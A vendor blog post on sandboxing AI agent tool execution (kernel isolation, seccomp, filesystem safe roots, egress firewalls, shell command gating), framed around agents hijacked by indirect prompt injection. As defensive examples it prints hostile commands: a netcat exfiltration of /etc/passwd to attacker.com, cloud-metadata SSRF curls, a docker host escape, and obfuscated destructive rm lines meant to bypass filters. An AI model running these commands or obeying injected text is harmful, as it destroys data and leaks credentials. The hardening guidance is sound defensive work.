Autonomous Agent Tool Sandboxing: Securing Code Execution, Filesystem Access, and Network Egress in Production

HostAgentics Team · Published 2026-10-03 · Updated 2026-10-03

hostingai-agentssecuritysandboxingopenclawhermes-agent

Autonomous Agent Tool Sandboxing: Securing Code Execution, Filesystem Access, and Network Egress in Production

Connecting an LLM to tool calling transforms a text-generating model into an active autonomous agent. Frameworks like OpenClaw and Nous Research's Hermes Agent can inspect codebases, execute shell commands, parse tabular datasets with Python scripts, query internal databases, and interact with web APIs.

However, granting an agent programmatic agency fundamentally shifts the application security model. In traditional software, code paths are predetermined, inputs are strictly typed, and operations execute inside predictable authorization boundaries. In an autonomous agent system, the decision to invoke a tool—and the exact arguments passed to that tool—is determined dynamically by a probabilistic model processing unstructured, semi-trusted natural language.

If an autonomous agent processes an issue comment, an inbound email, a webhook payload, or a scraped webpage containing an adversarial prompt injection, the agent can be coerced into functioning as a confused deputy. Without rigid, operating-system-level isolation, an injected agent will execute shell commands, read confidential system files, probe internal microservices, and exfiltrate secrets using the exact tools developers provided for legitimate automation.

```

[ Untrusted Webhook / Scraped HTML / Email ]

│

▼ (Indirect Prompt Injection)

┌───────────────────────────┐

│ Autonomous Agent (LLM) │

│ Confused Deputy Decision │

└─────────────┬─────────────┘

│ Invokes Tool Call

▼

=== UNSANDBOXED EXECUTION (Vulnerable) ===

✖ rm -rf /workspace

✖ curl http://169.254.169.254/latest/meta-data/

✖ cat /etc/passwd | nc attacker.com 4444

✖ docker run -v /:/host alpine chroot /host

=== HARDENED TOOL SANDBOX (Defended) ===

✔ Seccomp-BPF blocks unauthorized syscalls

✔ Write-safe roots prevent path traversal

✔ Egress firewall drops link-local & private IPs

✔ Ephemeral container terminates on exit

```

Prompt engineering ("Do not execute destructive commands") does not stop prompt injection. The security boundary cannot reside in the prompt; it must be enforced by the host kernel, the container runtime, the filesystem mount table, and the egress network interface.

Here is the production engineering guide to sandboxing autonomous agent tool execution across kernel primitives, filesystem boundaries, egress filtering, and application safe modes.


1. The Threat Taxonomy of Agent Tool Execution

To build an effective sandbox, you must understand the five primary vulnerability classes that emerge when an agent executes tools.

| Vulnerability Class | OWASP LLM Classification | Mechanism | Production Impact |

| :--- | :--- | :--- | :--- |

| Arbitrary Command Injection | LLM08: Excessive Agency | LLM constructs unescaped shell strings or runs untrusted scripts via bash or python tools. | Full remote code execution (RCE) inside the runtime environment. |

| The Docker Socket Trap | LLM02: Sensitive Information Disclosure | Mounting /var/run/docker.sock to let agents create test containers. | Trivial host escape: agent launches a privileged container mounting the host root filesystem (/). |

| Directory Traversal & Persistence | LLM08: Excessive Agency | Agent writes outside designated working directories using ../../ or absolute paths. | Overwriting startup scripts, cron jobs, or .bashrc to maintain persistence across container reboots. |

| Server-Side Request Forgery (SSRF) | LLM02 / Network Boundary | Agent uses HTTP fetching or browser automation to query cloud metadata or internal LAN IPs. | Extraction of cloud provider credentials, database tokens, and internal microservice state. |

| Resource Starvation / Fork Bombs | LLM04: Model Denial of Service | Agent executes recursive subshells, infinite loops, or unthrottled memory allocations. | Kernel Out-Of-Memory (OOM) panic, freezing adjacent processes or crashing the runtime host. |


2. Layer 1: Kernel Isolation (Namespaces, cgroups, and Seccomp)

The foundation of tool sandboxing is kernel-enforced multi-tenancy. An autonomous agent process must never run as UID 0 (root), must never share namespaces with the underlying operating system, and must have its available system calls strictly pruned.

Linux Namespaces and Non-Root Execution

Every agent execution runtime must isolate six fundamental Linux namespaces:

  1. PID Namespace: The agent and its child processes cannot view, signal, or trace processes running outside the container.
  2. Mount Namespace: The agent operates inside an isolated mount tree where root filesystems are mounted read-only.
  3. Network Namespace: The agent possesses an isolated virtual network interface (veth) attached to a filtered bridge, preventing raw socket creation.
  4. IPC Namespace: Prevents shared memory and message queue access across runtimes.
  5. UTS Namespace: Prevents hostname and domain name modification.
  6. User Namespace: Maps the in-container user to an unprivileged, high UID on the host system (rootless containerization).

Dropping Linux Capabilities

Default container runtimes retain capabilities that autonomous agents never require. In production, drop all capabilities by default and restore only the bare minimum:

```yaml

Hardened container capability profile

security_opt:

- no-new-privileges:true

cap_drop:

- ALL

cap_add:

- CHOWN

- SETUID

- SETGID

- DAC_OVERRIDE

```

Enforcing no-new-privileges:true is vital: it prevents processes launched by the agent from gaining additional privileges via setuid or setgid binaries (such as sudo or pkexec).

Seccomp-BPF System Call Filtering

The Linux kernel exposes hundreds of system calls. Autonomous agent tool tasks (compiling code, text manipulation, JSON filtering) only require a small subset. Unrestricted access to syscalls like ptrace, bpf, mount, reboot, and kexec_load opens zero-day container escape vectors.

The following custom seccomp profile allows standard computing syscalls while blocking process tracing, kernel ring manipulation, and filesystem remounting:

```json

{

"defaultAction": "SCMP_ACT_ERRNO",

"architectures": [

"SCMP_ARCH_X86_64",

"SCMP_ARCH_AARCH64"

],

"syscalls": [

{

"names": [

"accept", "accept4", "access", "arch_prctl", "bind", "brk",

"clock_getres", "clock_gettime", "clock_nanosleep", "clone",

"close", "connect", "dup", "dup2", "dup3", "epoll_create1",

"epoll_ctl", "epoll_pwait", "epoll_wait", "execve", "exit",

"exit_group", "faccessat", "fchmod", "fchown", "fcntl",

"fstat", "fstatfs", "fsync", "ftruncate", "futex", "getcwd",

"getdents64", "getegid", "geteuid", "getgid", "getpeername",

"getpid", "getppid", "getrandom", "getrlimit", "getsockname",

"getsockopt", "gettid", "gettimeofday", "getuid", "ioctl",

"lseek", "madvise", "mmap", "mprotect", "munmap", "nanosleep",

"newfstatat", "openat", "pipe2", "poll", "pread64", "pwrite64",

"read", "readlink", "readlinkat", "recvfrom", "recvmsg",

"rt_sigaction", "rt_sigprocmask", "rt_sigreturn", "sched_yield",

"select", "sendfile", "sendmsg", "sendto", "setsockopt",

"shutdown", "sigaltstack", "socket", "stat", "statfs", "sysinfo",

"tgkill", "umask", "uname", "unlink", "unlinkat", "wait4", "write"

],

"action": "SCMP_ACT_ALLOW"

}

]

}

```

Attaching this profile ensures that if an attacker tricks an agent into running a compiled binary payload attempting ptrace(PTRACE_TRACEME, ...), the Linux kernel immediately halts the operation with EPERM (Operation not permitted).


3. Layer 2: Filesystem Sandboxing & Write-Safe Roots

A common failure mode in self-hosted agent deployments is granting tools unfettered read/write access to the entire root directory. An agent instructed to "clean up temporary files" or tricked by a prompt injection can wipe critical binaries, corrupt configuration databases, or overwrite application code.

The Read-Only Root Filesystem

In a hardened deployment, the root filesystem (/) must be mounted read-only. System binaries in /bin, /usr, and /lib are immutable.

Persistent and ephemeral state are partitioned into dedicated mounts:

  1. The State Volume (/opt/data): The isolated persistent volume where the agent stores its skills, vector index segments, and persistent database.
  2. The Ephemeral Scratch Directory (/tmp): A strictly bounded tmpfs RAM disk mounted with noexec,nosuid,nodev.

```yaml

Docker Compose filesystem hardening

services:

agent-runtime:

image: hostagentics/agent-runtime:production

read_only: true

tmpfs:

- /tmp:size=256M,mode=1777,noexec,nosuid,nodev

- /run:size=64M,mode=0755,noexec,nosuid,nodev

volumes:

- agent-persistent-data:/opt/data:rw

```

Mounting /tmp with noexec ensures that even if an attacker tricks the agent into downloading a malicious binary or shell script into /tmp, the kernel refuses to execute it directly.

Path Canonicalization and Safe Roots

Autonomous agents like Hermes Agent enforce write-safe roots (e.g., HERMES_WRITE_SAFE_ROOT=/opt/data/workspace). However, application-level path checks often succumb to canonicalization vulnerabilities:

  • Dot-dot path traversal: /opt/data/workspace/../../etc/shadow
  • Symlink redirection: An attacker creates a symlink pointing to /opt/data/credentials.json and tells the agent to read /opt/data/workspace/link.
  • Null-byte string truncation.

To prevent filesystem escapes, all tool-level file operations must resolve symlinks and canonicalize real paths before granting access.

```typescript

import { realpathSync, statSync } from "node:fs";

import { resolve, normalize, relative } from "node:path";

export class WriteSafeSandbox {

private readonly safeRoot: string;

constructor(safeRootPath: string) {

// Resolve the canonical absolute path of the allowed root directory

this.safeRoot = realpathSync(resolve(normalize(safeRootPath)));

}

/**

* Validates and returns a safe canonical path.

* Throws an error if the path traverses outside the safe root.

*/

public resolveSafePath(userSuppliedPath: string): string {

const candidatePath = resolve(this.safeRoot, userSuppliedPath);

const normalizedCandidate = normalize(candidatePath);

// Verify boundary containment before filesystem access

const rel = relative(this.safeRoot, normalizedCandidate);

if (rel.startsWith("..") || rel === ".." || resolve(normalizedCandidate) !== normalizedCandidate) {

throw new Error(Security Violation: Path traversal detected outside safe root: ${userSuppliedPath});

}

// Check if the file or parent directory exists to resolve symlinks

try {

const realCandidate = realpathSync(normalizedCandidate);

const realRel = relative(this.safeRoot, realCandidate);

if (realRel.startsWith("..") || realRel === "..") {

throw new Error(Security Violation: Symlink escapes safe root: ${userSuppliedPath});

}

return realCandidate;

} catch (err: any) {

// If target file does not yet exist (for write operations), verify parent directory

if (err.code === "ENOENT") {

const parentDir = resolve(normalizedCandidate, "..");

const realParent = realpathSync(parentDir);

const parentRel = relative(this.safeRoot, realParent);

if (parentRel.startsWith("..") || parentRel === "..") {

throw new Error(Security Violation: Parent directory escapes safe root: ${userSuppliedPath});

}

return normalizedCandidate;

}

throw err;

}

}

}

```


4. Layer 3: Network Egress Filtering & SSRF Defense

By default, standard container platforms assign bridge networking with unrestricted outbound internet access. If an agent has access to an HTTP client or web browser tool, an indirect prompt injection can force the agent to probe internal infrastructure:

```bash

Classic SSRF attack patterns executed by an exploited agent

curl -s http://169.254.169.254/latest/meta-data/identity-credentials/

curl -s http://localhost:6379/info

curl -s http://10.0.0.15:5432/

```

Blocking Cloud Metadata and RFC 1918 CIDRs

In an agent runtime environment, the container network interface must be subjected to a strict egress firewall. All traffic to link-local addresses, loopback interfaces, and private corporate subnets must be dropped at the host filter level.

```bash

#!/usr/bin/env bash

Production egress firewall for agent runtime container (veth-agent0)

set -euo pipefail

INTERFACE="veth-agent0"

Flush existing container interface rules

iptables -N AGENT_EGRESS_FILTER 2>/dev/null || iptables -F AGENT_EGRESS_FILTER

1. Allow established and related connections

iptables -A AGENT_EGRESS_FILTER -m state --state ESTABLISHED,RELATED -j ACCEPT

2. Block Link-Local / Cloud Instance Metadata (Critical)

iptables -A AGENT_EGRESS_FILTER -d 169.254.0.0/16 -j DROP

iptables -A AGENT_EGRESS_FILTER -d fe80::/10 -j DROP

3. Block Private Subnets (RFC 1918)

iptables -A AGENT_EGRESS_FILTER -d 10.0.0.0/8 -j DROP

iptables -A AGENT_EGRESS_FILTER -d 172.16.0.0/12 -j DROP

iptables -A AGENT_EGRESS_FILTER -d 192.168.0.0/16 -j DROP

iptables -A AGENT_EGRESS_FILTER -d 127.0.0.0/8 -j DROP

4. Allow DNS resolution (UDP/TCP port 53) to trusted upstream resolvers

iptables -A AGENT_EGRESS_FILTER -p udp --dport 53 -j ACCEPT

iptables -A AGENT_EGRESS_FILTER -p tcp --dport 53 -j ACCEPT

5. Allow standard outbound web traffic (HTTP / HTTPS)

iptables -A AGENT_EGRESS_FILTER -p tcp --dport 80 -j ACCEPT

iptables -A AGENT_EGRESS_FILTER -p tcp --dport 443 -j ACCEPT

6. Drop all other traffic (SSH, raw database ports, Redis)

iptables -A AGENT_EGRESS_FILTER -j DROP

Bind filter chain to the container's egress interface

iptables -A FORWARD -i "$INTERFACE" -j AGENT_EGRESS_FILTER

```

DNS Rebinding Defense for Browser and HTTP Tools

Even with IP-based firewalling, attackers can bypass subnet checks using DNS Rebinding. An attacker controls a domain (e.g., evil.example.com) whose DNS record has a short TTL (1 second). When the agent checks whether the URL is safe, the domain resolves to an external public IP (93.184.216.34). When the HTTP client performs the actual connect(), the domain resolves to 127.0.0.1 or 169.254.169.254.

To mitigate DNS rebinding:

  • Route agent outbound HTTP requests through a forward proxy that resolves DNS once, validates that the IP address does not fall within restricted ranges, and initiates the TCP connection directly to the validated IP.
  • Disable HTTP redirect following across protocols and hosts unless intermediate redirects are re-validated against the IP blocklist.

5. Layer 4: Application Safe Mode & Tool AST Verification

Operating system and network boundaries provide the outer perimeter. However, inside the agent application layer, developers must establish Safe Mode policies that vet tool arguments before they reach a shell or interpreter.

Safe Mode vs Developer Mode

Production systems should implement a binary operational posture:

```

┌───────────────────────────────────────────────────────────────┐

│ SAFE MODE (Default) │

├───────────────────────────────┬───────────────────────────────┤

│ Read Operations │ Allowed (within safe root) │

│ Write Operations │ Allowed (within safe root) │

│ Network Egress │ Filtered (Public Web Only) │

│ Shell Execution (bash) │ Blocked or Whitelisted Tokens │

│ Privilege Escalation │ Strictly Denied │

│ Irreversible External Actions │ Requires Human-in-the-Loop │

└───────────────────────────────┴───────────────────────────────┘

▲

│ Customer Configuration

▼

┌───────────────────────────────────────────────────────────────┐

│ DEVELOPER MODE (Relaxed) │

├───────────────────────────────┬───────────────────────────────┤

│ Shell Execution (bash) │ Enabled (inside sandbox) │

│ Interpreter Execution │ Enabled (isolated worker) │

│ Host Shell Access │ NEVER ALLOWED │

│ Docker Socket Access │ NEVER ALLOWED │

│ Network Egress Filter │ PERMANENTLY ENFORCED │

└───────────────────────────────┴───────────────────────────────┘

```

Even when a customer relaxes Safe Mode to allow command execution, platform-level safeguards—such as dropping the Docker socket, enforcing seccomp filters, and blocking internal metadata endpoints—must remain permanent.

Tool Command Inspection: Tokenization Over Naive Regex

A common security anti-pattern is attempting to sanitize shell commands with simple string replacement or regular expressions (e.g., blocking rm -rf). Attackers easily bypass string matching using shell expansions:

```bash

Bypasses simple regex filters searching for "rm" or "/etc"

eval $(echo "cm0gLXJmIC8=" | base64 -d)

$'\x72\x6d' -rf /opt/data

c\a\t /e\t\c/p\a\s\s\w\d

python3 -c "import os; os.system('sh' + 'utdown')"

```

Instead of naive string filtering, tools must tokenize inputs using an Abstract Syntax Tree (AST) parser or enforce a strict whitelist of parameterized commands.

```typescript

import { parse } from "shell-quote";

export interface CommandInspectionResult {

allowed: boolean;

reason?: string;

sanitizedTokens?: string[];

}

export class ShellCommandGate {

// Strict binary whitelist for automated agent execution

private static readonly ALLOWED_BINARIES = new Set([

"git", "npm", "pnpm", "node", "python3", "pytest", "cat", "grep",

"find", "ls", "wc", "head", "tail", "jq", "sed", "awk"

]);

// Denied shell operators that facilitate command chaining or backgrounding

private static readonly FORBIDDEN_OPERATORS = new Set([

";", "&", "&&", "||", "|", ">", ">>", "<", "`", "$("

]);

public static inspect(commandString: string): CommandInspectionResult {

const entries = parse(commandString);

if (entries.length === 0) {

return { allowed: false, reason: "Empty command string." };

}

// Check for malicious shell control operators

for (const entry of entries) {

if (typeof entry === "object" && "op" in entry) {

if (this.FORBIDDEN_OPERATORS.has(entry.op)) {

return {

allowed: false,

reason: Disallowed shell operator detected: "${entry.op}". Command chaining is forbidden in safe mode.

};

}

}

}

// Extract command binary

const firstToken = entries[0];

if (typeof firstToken !== "string") {

return { allowed: false, reason: "Invalid command syntax: binary name must be a string." };

}

const binaryName = firstToken.split("/").pop() || "";

if (!this.ALLOWED_BINARIES.has(binaryName)) {

return {

allowed: false,

reason: Binary "${binaryName}" is not in the approved safe mode execution whitelist.

};

}

const stringTokens = entries.filter((e): e is string => typeof e === "string");

return {

allowed: true,

sanitizedTokens: stringTokens

};

}

}

```


6. Layer 5: Ephemeral Subprocess Isolation for Code Interpreters

When an agent needs to execute Python scripts or evaluate complex code, the code must never execute inside the primary agent daemon process. Executing dynamic code within the main process allows an attacker to monkey-patch runtime libraries, inspect process.env containing database credentials, or hang the event loop.

Instead, code execution tools must spawn isolated, ephemeral worker processes with strict resource governance.

```

┌────────────────────────────────────────────────────────┐

│ Main Agent Daemon (OpenClaw / Hermes) │

│ PID 101 | UID 1000 | Holds Memory & Platform Tokens │

└──────────────────────────┬─────────────────────────────┘

│ Spawns isolated worker via fork/exec

▼

┌────────────────────────────────────────────────────────┐

│ Ephemeral Execution Sandbox (Subprocess) │

│ PID 504 | UID 1001 (Drop Privileges) │

│ - Strict memory limit: 512 MB │

│ - Execution deadline: 30 seconds │

│ - Read-only environment (Zero platform tokens) │

│ - Working directory: /tmp/scratch-uuid │

│ - Stdout/Stderr truncated to 64 KB │

└────────────────────────────────────────────────────────┘

```

Production Implementation: Python Execution Runner

Below is a robust Node.js runner that launches an unprivileged, isolated Python execution environment with bounded execution timeouts and memory limits:

```typescript

import { spawn } from "node:child_process";

import { mkdtempSync, rmSync, writeFileSync } from "node:fs";

import { tmpdir } from "node:os";

import { join } from "node:path";

export interface ExecutionResult {

stdout: string;

stderr: string;

exitCode: number | null;

timedOut: boolean;

}

export class EphemeralCodeRunner {

private readonly maxTimeoutMs: number;

private readonly maxBufferBytes: number;

constructor(maxTimeoutMs = 30000, maxBufferBytes = 64 * 1024) {

this.maxTimeoutMs = maxTimeoutMs;

this.maxBufferBytes = maxBufferBytes;

}

public async runPython(scriptCode: string): Promise<ExecutionResult> {

// 1. Create a secure, isolated temporary workspace

const tempDir = mkdtempSync(join(tmpdir(), "agent-exec-"));

const scriptPath = join(tempDir, "script.py");

writeFileSync(scriptPath, scriptCode, { mode: 0o600 });

return new Promise((resolve) => {

let stdoutBuffer = "";

let stderrBuffer = "";

let timedOut = false;

// 2. Spawn python in an isolated subprocess with scrubbed environment variables

const child = spawn("python3", ["-I", "-s", scriptPath], {

cwd: tempDir,

env: {

// Pass only basic runtime requirements; NEVER leak host API keys or tokens

PATH: "/usr/local/bin:/usr/bin:/bin",

PYTHONUNBUFFERED: "1",

LANG: "C.UTF-8"

},

stdio: ["ignore", "pipe", "pipe"]

});

// 3. Watchdog timer to kill long-running or hung processes

const timer = setTimeout(() => {

timedOut = true;

child.kill("SIGKILL");

}, this.maxTimeoutMs);

child.stdout.on("data", (chunk: Buffer) => {

if (stdoutBuffer.length < this.maxBufferBytes) {

stdoutBuffer += chunk.toString("utf8");

if (stdoutBuffer.length > this.maxBufferBytes) {

stdoutBuffer = stdoutBuffer.slice(0, this.maxBufferBytes) + "\n[OUTPUT TRUNCATED]";

}

}

});

child.stderr.on("data", (chunk: Buffer) => {

if (stderrBuffer.length < this.maxBufferBytes) {

stderrBuffer += chunk.toString("utf8");

if (stderrBuffer.length > this.maxBufferBytes) {

stderrBuffer = stderrBuffer.slice(0, this.maxBufferBytes) + "\n[OUTPUT TRUNCATED]";

}

}

});

child.on("close", (exitCode) => {

clearTimeout(timer);

// 4. Guaranteed cleanup of ephemeral filesystem directory

try {

rmSync(tempDir, { recursive: true, force: true });

} catch (cleanupErr) {

console.error("Warning: Failed to clean up tempDir:", cleanupErr);

}

resolve({

stdout: stdoutBuffer,

stderr: stderrBuffer,

exitCode,

timedOut

});

});

child.on("error", (err) => {

clearTimeout(timer);

try {

rmSync(tempDir, { recursive: true, force: true });

} catch {}

resolve({

stdout: stdoutBuffer,

stderr: Failed to spawn process: ${err.message},

exitCode: 1,

timedOut: false

});

});

});

}

}

```

The flag -I forces Python to run in isolated mode, ignoring PYTHONPATH and the user's site-packages, while -s disables adding the user site-directory. Scrubbing process.env ensures that an attacker executing import os; print(os.environ) cannot extract API credentials, database strings, or relay tokens.


7. Operational Sandboxing Blueprint: HostAgentics Cloud Defense-in-Depth

At HostAgentics Cloud, we translate these requirements into a multi-layered infrastructure boundary for every customer runtime:

  1. One Container Per Runtime: Every OpenClaw, Hermes Agent, and n8n instance runs as an independent container service with its own dedicated persistent volume, independent process table, and isolated network namespace. No workloads or memory stores are ever shared across runtimes.
  2. Safe Mode Enforced by Default: Runtimes initialize with safe mode active. Host shell access is entirely unavailable, and there is no Docker socket inside the runtime environment.
  3. Restricted Filesystem Boundaries: Agent file writes are restricted to safe storage paths (/opt/data via HERMES_WRITE_SAFE_ROOT and isolated state volumes for OpenClaw). The root container image is immutable.
  4. Permanent Metadata & Internal Subnet Blocking: The virtual network interface attached to each customer runtime blocks link-local address spaces (169.254.0.0/16) and internal platform networks. Runtimes cannot reach infrastructure metadata or adjacent customer workloads.
  5. Strict Concurrency Caps: To protect infrastructure against runaway execution loops and resource exhaustion, each plan enforces hard limits on concurrent agent tasks, background executions, and active browser automation sessions. Exceeding a plan cap triggers graceful queue backpressure rather than memory collapse.

8. Production Sandboxing Audit Checklist

Before placing an autonomous AI agent into a live production workflow, verify your implementation against this 10-point operational checklist:

  • [ ] 1. Docker Socket Access Denied: Verify that /var/run/docker.sock is not mounted into the agent container under any circumstance.
  • [ ] 2. Non-Root Execution: Verify that the agent daemon and tool subprocesses run as an unprivileged UID (e.g., UID 1000), never as root.
  • [ ] 3. no-new-privileges Enabled: Ensure the container runtime sets security_opt: ["no-new-privileges:true"].
  • [ ] 4. Read-Only Root Filesystem: Ensure root filesystem mounts are marked read_only: true, with writable paths restricted to /opt/data and a bounded tmpfs on /tmp.
  • [ ] 5. Metadata Egress Blocking: Execute curl -m 2 http://169.254.169.254/ from within the agent container and confirm the request immediately times out or drops.
  • [ ] 6. RFC 1918 Subnet Isolation: Confirm the container network cannot route packets to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  • [ ] 7. Seccomp Syscall Filtering: Verify that a custom seccomp profile blocks dangerous syscalls like ptrace, bpf, mount, and kexec_load.
  • [ ] 8. Canonical Path Resolution: Confirm tool filesystem handlers use realpathSync and boundary verification to prevent dot-dot directory traversal and symlink escapes.
  • [ ] 9. Environment Variable Scrubbing: Ensure ephemeral subshell and script runners explicitly scrub process.env, passing only safe minimal system variables (PATH, LANG).
  • [ ] 10. Concurrency & Timeout Governance: Enforce strict execution timeouts (e.g., 30s) and hard limits on concurrent tool calls to prevent resource starvation.

Summary

Autonomous agency without sandboxing is remote code execution by design. While prompt instructions can guide an agent toward its task, only kernel-level isolation, read-only mount tables, network egress firewalls, and isolated ephemeral processes can guarantee safety against prompt injections and confused deputy exploits.

By enforcing defense-in-depth across the operating system, the network, and the application runtime, you can unleash the full automation capabilities of OpenClaw and Hermes Agent in production with confidence.

Material limitations

  • • Sandboxing restricts execution environments and egress paths; it mitigates damage but cannot prevent an LLM from hallucinating flawed tool inputs.
  • • Syscall filtering and seccomp profiles may require customization if an agent runs specialized native binaries or language interpreters.
  • • HostAgentics Cloud safe mode and container isolation provide defense-in-depth infrastructure controls without implying an audited compliance certification or formal SLA.
Autonomous Agent Tool Sandboxing: Securing Code Execution, Filesystem Access, and Network Egress in Production · HostAgentics